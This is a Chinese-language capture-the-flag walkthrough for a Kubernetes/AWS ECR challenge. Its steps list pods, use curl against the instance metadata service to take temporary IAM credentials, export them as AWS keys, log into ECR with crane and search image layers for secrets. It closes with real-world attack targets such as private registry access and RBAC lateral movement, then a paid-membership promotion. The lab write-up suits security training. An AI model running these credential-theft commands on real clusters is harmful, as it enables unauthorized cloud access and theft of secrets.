在这一挑战中,参与者需要深入到一个Pod的容器镜像中,检查其Elastic Container Registry (ECR)存储库中的图层,并从中找出隐藏的秘密。这个任务与之前的Registry Hunt类似,但这次重点放在了AWS ECR上。
Kubernetes Pods 和 Secrets:理解如何列出和获取Pods及其关联的秘密。
Docker镜像元数据:熟悉Docker镜像的历史记录,包括构建命令。
AWS IAM角色和权限:了解如何通过实例元数据服务(IMDS)获取IAM凭证,并使用这些凭证与AWS资源交互。
ECR操作:掌握如何登录到ECR、拉取镜像以及查看镜像的详细信息。
Crane工具:用于处理容器镜像的CLI工具。
列出并检查Pod详情:
使用kubectl get pods
命令来列出所有Pod。
选择目标Pod后,利用kubectl get pod <pod-name> -o json
获得更详细的规格说明。
提取ECR镜像URL:
在Pod详情中找到使用的ECR镜像URL,例如688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:...
从IMDS获取临时IAM凭证:
请求节点实例的角色名称:curl http://169.254.169.254/latest/meta-data/iam/security-credentials
获取具体凭证信息:curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
设置环境变量以便后续使用:
bash
深色版本
export AWS_ACCESS_KEY_ID=$(echo $TOKEN | jq -r '.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $TOKEN | jq -r '.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $TOKEN | jq -r '.SessionToken')
生成ECR密码并登录:
PASSWORD=$(aws ecr get-login-password)
crane auth login <ecr-url> -u AWS -p $PASSWORD
检查镜像元数据和层:
使用crane config <image>
查看镜像配置。
注意镜像历史部分可能包含敏感信息或构建时的秘密。
发现并读取flag文件:
如果镜像中有任何文本文件如flag.txt
,可以直接用cat
命令读取。
实战挖掘点:
未授权访问EKS集群中的私有Docker镜像仓库
利用Kubernetes API Server暴露的端点进行信息泄露
通过Kubernetes RBAC漏洞实现跨命名空间横向移动
欢迎关注
如果你是一个长期主义者,欢迎加入我的知识星球,我们一起冲,一起学。每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款。